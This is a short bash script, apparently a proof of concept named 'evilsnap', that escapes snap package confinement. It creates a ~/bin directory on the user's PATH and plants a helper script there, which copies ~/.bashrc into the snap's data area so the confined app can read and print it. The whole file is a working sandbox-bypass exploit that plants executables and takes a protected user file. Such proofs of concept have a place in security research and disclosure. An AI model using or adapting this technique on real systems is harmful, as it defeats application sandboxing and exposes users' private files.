#! /bin/bash

FILE=".bashrc"

if [ ! -d "$SNAP_REAL_HOME/bin" ]; then
	mkdir -p "$SNAP_REAL_HOME/bintmp"
	cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap"
#! /bin/bash
cp ~/$FILE ~/snap/evilsnap/current/
snap run evilsnap
EOF
	chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap"
	ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin"
fi

# this should always fail due to confinement
if [ -f "$SNAP_REAL_HOME/$FILE" ]; then
	cat "$SNAP_REAL_HOME/$FILE" 2>/dev/null && exit 0
fi

# check if payload has moved file into confined area
if [ -f "$SNAP_USER_DATA/$FILE" ]; then
	cat "$SNAP_USER_DATA/$FILE"
	exit 0
fi

echo "Could not access $FILE"
echo "Try logging out and back in then running evilsnap again"
